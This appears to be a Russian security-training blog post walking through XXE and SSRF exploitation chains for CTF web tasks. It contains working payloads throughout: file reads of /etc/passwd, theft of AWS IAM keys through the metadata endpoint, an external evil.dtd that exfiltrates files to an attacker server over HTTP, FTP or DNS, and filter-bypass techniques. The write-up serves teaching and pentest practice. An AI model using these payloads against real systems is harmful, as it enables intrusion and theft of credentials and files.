Главная / Блог / Эксплуатация XXE и SSRF уязвимостей: пошаговый разбор CTF-цепочек

12 мин.00

Эксплуатация XXE и SSRF уязвимостей: пошаговый разбор CTF-цепочек

Эксплуатация XXE и SSRF уязвимостей: пошаговый разбор CTF-цепочек

Эксплуатация XXE и SSRF уязвимостей: пошаговый разбор CTF-цепочек

На недавнем CTF таск выглядел невинно: форма «Check stock» принимает XML, возвращает количество товара на складе. Четыре запроса в Burp Repeater спустя — у меня на экране JSON с AccessKeyId и SecretAccessKey от IAM-роли admin, вытащенный через цепочку XXE → SSRF к 169.254.169.254. Двенадцать минут от первого probe до секретных ключей. Ниже — как строить такие цепочки от нуля, включая blind-сценарии и обход фильтров, которые стали нормой на CTF 2024–2025.

Бизнес-логика атаки: зачем нужны уязвимости обработки XML

Прежде чем разбирать payload'ы — контекст. XXE (CWE-611: Improper Restriction of XML External Entity Reference) — не про «чтение файлов». В модели MITRE ATT&CK цепочка XXE→SSRF покрывает сразу несколько тактик: Подробнее — в нашем статье о пентест веб-приложений.

  • Exploit Public-Facing Application (T1190, Initial Access) — точка входа через публичный XML-эндпоинт
  • Data from Local System (T1005, Collection) — чтение конфигов, исходного кода, секретов с сервера
  • Cloud Instance Metadata API (T1552.005, Credential Access) — кража IAM-ключей через SSRF к metadata-сервису
  • File and Directory Discovery (T1083, Discovery) — листинг директорий через Java file:// quirk

В OWASP Top 10 2021 XXE входит в A05: Security Misconfiguration, а SSRF выделен отдельно как A10. Одна дыра в XML-парсере — и ты за один HTTP-вызов перепрыгиваешь от misconfiguration к полноценной подделке серверных запросов.

На CTF эта связка — одна из самых частых в категории web. Она проверяет три навыка одновременно: понимание XML-спецификации (DTD, entities, parameter entities), умение строить payload'ы под конкретный парсер и способность развить чтение файлов в сетевую атаку. По данным Verizon DBIR 2025, доля веб-атак среди всех подтверждённых нарушений — 26%, и цепочки с XXE/SSRF занимают в этой статистике заметное место.

Классическая XXE injection: примеры чтения файлов через Burp Suite

Предусловия и ограничения

Работает если: XML-парсер обрабатывает DTD и разрешает внешние сущности (SYSTEM). Конкретно: PHP с флагом LIBXML_NOENT или LIBXML_DTDLOAD, Java DocumentBuilderFactory/SAXParserFactory без явного отключения external entities, Python lxml с resolve_entities=True, Ruby Nokogiri с опцией DTDLOAD/NOENT.

Не работает если: парсер запрещает DTD-обработку — .NET 4.5.2+ (DtdProcessing.Prohibit по умолчанию), Go encoding/xml (вообще не резолвит SYSTEM), Python xml.etree.ElementTree (безопасен по умолчанию), Java с явным setFeature("http://xml.org/sax/features/external-general-entities", false).

[Применимо: CTF-таски категории web, внешний пентест веб-приложений с XML-эндпоинтами]

Пошаговый разбор: от обнаружения до /etc/passwd

Когда CTF-таск принимает XML, первая задача — найти отражаемое поле. Допустим, приложение отправляет <stockCheck><productId>381</productId></stockCheck>, а при невалидном ID возвращает «Invalid product ID: 381». Значение productId отражается — сюда и подставляем entity.

Probe в Burp Repeater: модифицируем тело запроса, добавляя DOCTYPE с внешней сущностью и подставляя &xxe; вместо значения productId. Если в ответе появляется содержимое /etc/passwd — это классическая in-band XXE. Парсер разрешил внешнюю сущность, загрузил файл через file:// и подставил содержимое в XML-документ.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
  <productId>&xxe;</productId>
</stockCheck>

Ответ сервера выдаст что-то вроде: Invalid product ID: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon... — содержимое файла вместо номера продукта. По OWASP ASVS, приложения обязаны ограничивать XML-парсеры максимально строгой конфигурацией и отключать разрешение внешних сущностей. На практике это требование игнорируют куда чаще, чем соблюдают.

Приём для CTF: если структура XML неизвестна и непонятно, какой тег отражается — фаззинг через Burp Intruder. Отправляете <?xml version="1.0"?><§§>test</§§> с типом атаки Sniper и словарём (directory-list-2.3-medium подойдёт). В ответах ищите, при каком теге значение «test» всплывает — это и есть отражаемое поле.

PHP-файлы и враппер php://filter

Попытка прочитать PHP-файл через file:///var/www/html/index.php часто ломает XML-парсинг: теги <?php конфликтуют со структурой XML-документа. Решение — враппер php://filter/read=convert.base64-encode/resource=index.php. Парсер вернёт содержимое в Base64, которое остаётся декодировать через base64 -d. На CTF с PHP-бэкендом это стандарт: позволяет вытащить исходный код приложения, найти дополнительные дыры или прочитать конфиги с учётными данными БД.

Листинг директорий (Java file:// quirk)

Малоизвестная штука: в Java-парсерах и libxml2, если URI file:// указывает на директорию, а не на файл, парсер возвращает список содержимого. Сущность с SYSTEM "file:///etc/" выдаст перечень файлов каталога /etc/. Это File and Directory Discovery (T1083) в чистом виде — используйте для разведки файловой системы, прежде чем точечно читать конкретные конфиги. На CTF экономит кучу времени: вместо угадывания путей получаете карту файловой системы за один запрос.

SSRF атака на практике: эксплуатация server side request forgery через XXE

Тот же механизм SYSTEM entity, но вместо file:// используем http://. Парсер отправляет HTTP-запрос от имени сервера — и мы получаем доступ к внутренним ресурсам, недоступным извне.

Решение SSRF CTF таска: доступ к AWS EC2 Metadata

Классический CTF-сценарий, реализованный в PortSwigger Web Security Academy: сервер с функцией «Check stock» парсит XML, работает на симулированном EC2-инстансе. Задача — получить IAM-ключи через metadata endpoint.

Заменяем file:// на http://169.254.169.254/ в entity. Но metadata API — это дерево с несколькими уровнями, и за один запрос дойти до ключей не получится. Навигация по уровням:

  1. http://169.254.169.254/ → возвращает latest
  2. http://169.254.169.254/latest/meta-data/ → список категорий (ami-id, hostname, iam...)
  3. http://169.254.169.254/latest/meta-data/iam/security-credentials/ → имя IAM-роли (например, admin)
  4. http://169.254.169.254/latest/meta-data/iam/security-credentials/admin → JSON с AccessKeyId, SecretAccessKey, Token

Каждый уровень — отдельный запрос в Burp Repeater с модифицированным URL в entity. Ответ каждого уровня подсказывает следующий сегмент пути. Вся цепочка — четыре-пять итераций.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY ssrf SYSTEM
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<stockCheck>
  <productId>&ssrf;</productId>
</stockCheck>

Это техника Cloud Instance Metadata API (T1552.005, Credential Access) по MITRE ATT&CK. В реальном мире SSRF к metadata endpoint — задокументированный вектор атаки на облачные инстансы, описанный в OWASP A10:2021 (SSRF) и кучей публичных инцидентов.

Когда SSRF через XXE не работает

  • IMDSv2 (AWS Instance Metadata Service v2) — требует токен, полученный через PUT-запрос с заголовком X-aws-ec2-metadata-token-ttl-seconds. XXE через SYSTEM entity отправляет только GET. Если GET к 169.254.169.254 возвращает 401 — сервер использует IMDSv2.
  • GCP metadata — требует заголовок Metadata-Flavor: Google. XXE не позволяет задавать заголовки произвольного HTTP-запроса.
  • Azure IMDS — аналогично требует заголовок Metadata: true.
  • Egress filtering — файрвол блокирует исходящие HTTP-запросы от сервера. SSRF к localhost работает, но к внешним ресурсам — нет.

На CTF 2024–2025 всё чаще встречается IMDSv2 в задачах повышенной сложности. Если стандартный GET возвращает ошибку — переключайтесь на чтение файлов: AWS credentials иногда лежат в ~/.aws/credentials или в переменных окружения через /proc/self/environ.

Blind XXE: OOB-эксфильтрация при отсутствии ответа

На CTF средней и высокой сложности entity не отражается в ответе. Приложение обрабатывает XML, но возвращает фиксированное «OK» или «Error» — без утечки данных в теле ответа. Это blind XXE, и тут нужны out-of-band (OOB) техники.

Подтверждение внешнего подключения

Первый шаг — проверить, резолвит ли парсер внешние parameter entities. Определяем <!ENTITY % ping SYSTEM "http://YOUR-COLLAB-ID.burpcollaborator.net/"> и вызываем %ping; внутри DTD. Если в Burp Collaborator (или interact.sh — бесплатная альтернатива) приходит HTTP/DNS-запрос — парсер обращается к внешним ресурсам. Можно строить OOB-канал.

Внешний DTD и OOB-канал эксфильтрации данных

Двухэтапная атака. На VPS (или через interact.sh) размещаем DTD-файл — evil.dtd. На стороне жертвы отправляем payload, который загружает этот DTD и запускает цепочку parameter entities.

<!-- evil.dtd на вашем сервере -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM
  'http://YOUR-SERVER/?d=%file;'>">
%eval;
%exfil;

Victim payload: <!DOCTYPE r [<!ENTITY % xxe SYSTEM "http://YOUR-SERVER/evil.dtd"> %xxe;]><r/>.

Механика по шагам: парсер жертвы загружает evil.dtd → определяет %file (содержимое /etc/hostname) → %eval динамически создаёт %exfil с данными файла в query string → %exfil отправляет HTTP GET на ваш сервер с содержимым файла в URL. Данные видно в access-логе.

Ограничение: HTTP-URL обрезает содержимое на символах новой строки. Многострочные файлы вроде /etc/passwd не уйдут целиком через HTTP query string. Решения:

  • FTP exfiltration: вместо HTTP используем ftp://your-server/%file;. Содержимое файла передаётся в FTP-запросе (как часть пути или команды — зависит от реализации resolver'а; libxml2 поддерживает ftp:// как SYSTEM URI, но синтаксис стоит проверять эмпирически на целевом парсере). На стороне атакующего — минимальный FTP-listener на Python/Ruby/netcat, логирующий входящие команды без завершения хендшейка. FTP-канал позволяет извлекать файлы с переносами строк, которые ломают HTTP.
  • DNS exfiltration: для коротких значений (hostname, одна строка конфига) — подставляем данные как поддомен: %file;.your-domain.com. DNS-запрос зафиксируется на вашем authoritative DNS.

Error-based XXE без исходящих соединений

Если egress filtering блокирует все исходящие запросы с сервера (HTTP, FTP, DNS) — OOB-канал недоступен. Но DTD всё ещё обрабатывается. Используем local DTD trick: переопределяем entity из DTD-файла, уже лежащего на сервере, провоцируя ошибку парсинга с данными целевого файла в тексте ошибки.

Для GNOME-систем часто доступен /usr/share/yelp/dtd/docbookx.dtd. В Java — DTD из classpath библиотек. На типичном Linux-сервере (для поиска подходящих файлов есть инструмент dtd-finder) валяются десятки DTD-файлов, пригодных для переопределения entity. На CTF это последний рубеж, когда все сетевые каналы закрыты — проверяйте сообщения об ошибках парсера на наличие утечки данных.

Обход защиты от SSRF и XXE: пять приёмов для CTF-тасков

Content-Type switching при поиске XXE в веб-приложениях

[Применимо: CTF-таски с REST API, внешний пентест современных веб-приложений]

Многие API-эндпоинты на Spring Boot, Express, Flask автоматически вызывают XML-парсер при смене заголовка Content-Type с application/json на application/xml или text/xml. Некоторые REST API непреднамеренно сконфигурированы принимать данные в нескольких форматах, включая XML — даже если разработчики никогда не планировали его поддерживать.

В Burp Suite расширение Content Type Converter автоматизирует конвертацию JSON→XML. Если на CTF видите чистый JSON API — всегда пробуйте подставить XML. Одна из самых недооценённых точек входа: разработчик думает, что API принимает только JSON, а фреймворк молча жуёт XML.

XInclude при недоступном DOCTYPE

Если приложение собирает XML на стороне сервера и вы контролируете только одно поле (например, значение productId вставляется в SOAP-конверт), DOCTYPE вам недоступен — вы не управляете началом документа. Но XInclude работает из любого фрагмента XML:

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

Требует XInclude-aware парсер. В Java это часто включено по умолчанию в DocumentBuilderFactory или dom4j. На CTF актуально для тасков с SOAP-бэкендом, где вы контролируете лишь фрагмент запроса.

SVG upload как вектор эксплуатации XML external entity

SVG — это XML-формат. Если приложение принимает загрузку изображений и обрабатывает SVG на сервере (ресайз, конвертация, валидация метаданных), оно вызывает XML-парсер. Известный CTF-таск демонстрирует полную цепочку: загрузка SVG с XXE → подтверждение SSRF через запрос к контролируемому серверу → использование SSRF для вызова внутреннего endpoint toggle, доступного только с localhost, и активации premium-функций приложения.

Payload — обычный SVG, но с DOCTYPE и entity перед тегами SVG-графики. Если парсер библиотеки (ImageMagick, librsvg, Apache Batik) обрабатывает DTD — вы получаете полноценный XXE-вектор через загрузку картинки.

Аналогичный подход работает для форматов Office Open XML: DOCX, XLSX, PPTX — это ZIP-архивы с XML-файлами внутри. Модифицируете [Content_Types].xml или xl/sharedStrings.xml внутри архива, добавляете entity — и получаете XXE через загрузку Excel-файла. На одном CTF я так вытащил /etc/shadow через «импорт прайс-листа» — разработчик и не подозревал, что его xlsx-парсер резолвит SYSTEM entities.

UTF-7 encoding bypass

Если XML-парсер поддерживает несколько кодировок, фильтры на <!DOCTYPE и SYSTEM в UTF-8 можно обойти, переключив encoding: <?xml version="1.0" encoding="UTF-7"?>. Весь последующий payload кодируется в UTF-7, где привычные ключевые слова выглядят иначе и не срабатывают на pattern matching фильтров. Приём экзотический, но на CTF с кастомными WAF-правилами — работает.

Parameter entities вместо general entities

Если фильтр блокирует амперсанд & — general entities вида &xxe; не пройдут. Переход на parameter entities: определяются через <!ENTITY % name "value">, вызываются как %name; и работают только внутри DTD-секции. Для in-band XXE это ограничение, но для OOB-эксфильтрации через внешний DTD — parameter entities и есть основной инструмент. На CTF это штатный обход фильтров, нацеленных на символ &.

Практика пентеста web CTF: алгоритм и инструменты

Требования к окружению

  • OS: Kali Linux 2024+ или Ubuntu 22.04+ с установленным Burp Suite
  • RAM: 4 ГБ минимум, 8 ГБ рекомендуется (Burp + браузер + Python-скрипты одновременно)
  • Инструменты: Burp Suite Community/Pro (Repeater обязателен, Collaborator — для blind XXE), Python 3.10+ с библиотекой requests, curl для быстрых одиночных проверок
  • Сеть: для OOB-тестирования нужен либо Burp Collaborator (Pro), либо interact.sh (бесплатный), либо VPS с белым IP для размещения evil.dtd и FTP-listener

Алгоритм решения CTF-таска с XXE

Шаг 1 — Найти XML-sink. Ищите Content-Type application/xml или text/xml в запросах. Проверяйте формы загрузки файлов (SVG, DOCX, XLSX). Обращайте внимание на SOAP-эндпоинты. Видите JSON API — пробуйте Content-Type switching через Content Type Converter в Burp.

Шаг 2 — Probe на in-band XXE. Отправьте payload с <!ENTITY xxe SYSTEM "file:///etc/hostname"> и &xxe; в отражаемом поле. Hostname появляется в ответе — парсер уязвим.

Шаг 3 — Если отражается. Классическая XXE. Читайте файлы: /etc/passwd, конфиги приложения (config.php, application.yml), исходный код. Для PHP используйте php://filter/read=convert.base64-encode/resource=FILE. Для листинга директорий на Java — file:///path/to/directory/.

Шаг 4 — Попробуйте SSRF. Замените file:// на http://169.254.169.254/ (AWS) или http://localhost:PORT/ (внутренние сервисы). Спускайтесь по дереву metadata API уровень за уровнем.

Шаг 5 — Если НЕ отражается. Blind XXE. Проверьте OOB-подключение: <!ENTITY % ping SYSTEM "http://COLLAB-ID/">%ping;. Ждите callback в Collaborator / interact.sh.

Шаг 6 — Есть OOB-канал. Разверните evil.dtd на VPS, эксфильтрируйте файлы через HTTP query string (однострочные) или FTP (многострочные).

Шаг 7 — Нет OOB-канала. Error-based XXE через local DTD (yelp, docbook). Ищите DTD-файлы на сервере через file:// листинг директорий.

Шаг 8 — Фильтры. Перебирайте обходы: XInclude, UTF-7 encoding, parameter entities, SVG/DOCX upload.

Инструменты для ускорения на CTF

Ручной подход через Burp Repeater — основа. Но ряд инструментов ускоряет процесс:

  • XXEinjector (Ruby) — автоматизация OOB-эксфильтрации через HTTP и FTP каналы
  • Content Type Converter (Burp extension) — конвертация JSON↔XML для проверки Content-Type switching
  • dtd-finder — поиск DTD-файлов на целевой системе для error-based XXE без egress
  • interact.sh — бесплатная альтернатива Burp Collaborator для blind-тестирования

Для быстрой проверки через curl: curl -X POST -H "Content-Type: application/xml" -d @payload.xml https://target/api — удобно для скриптования серии запросов при навигации по metadata API.

Большинство CTF-райтапов по XXE обрываются на моменте «прочитали /etc/passwd — задача решена». На практике 80% ценности XXE — не в чтении системных файлов, а в SSRF-пивотинге к внутренним сервисам. На реальных пентестах /etc/passwd никому не интересен: IAM-ключи, внутренние API, credentials в переменных окружения — вот что превращает P3 в P1 в баг-баунти и medium в critical на пентесте.

XXE как класс уязвимости не исчезает, несмотря на secure-by-default в современных парсерах. Причина проста: XML спрятан в форматах, которые никто не ассоциирует с XML-парсингом — DOCX, XLSX, SVG, SAML-токены. Разработчик, который никогда не писал XML вручную, подключает библиотеку обработки Excel-файлов с включёнными external entities — и создаёт XXE-вектор, не подозревая об этом. Заявлено «safe by default» — реально зависит от того, какие флаги выставлены в конфигурации парсера, а флаги эти никто не проверяет.

Ближайшие год-два XXE будет мигрировать из классических XML-эндпоинтов в форматные парсеры: обработка резюме в DOCX, импорт прайс-листов в XLSX, загрузка SVG-логотипов. Именно эти точки входа сложнее обнаружить автоматическими сканерами, и именно здесь ручной пентестер даёт результат, который не даёт DAST. Если идёшь к OSCP и нужна подготовка по веб-части с лабами на каждый вектор — WAPT покрывает XXE→SSRF цепочки в нескольких модулях с разбором и ментором в чате при затыке.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «web».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...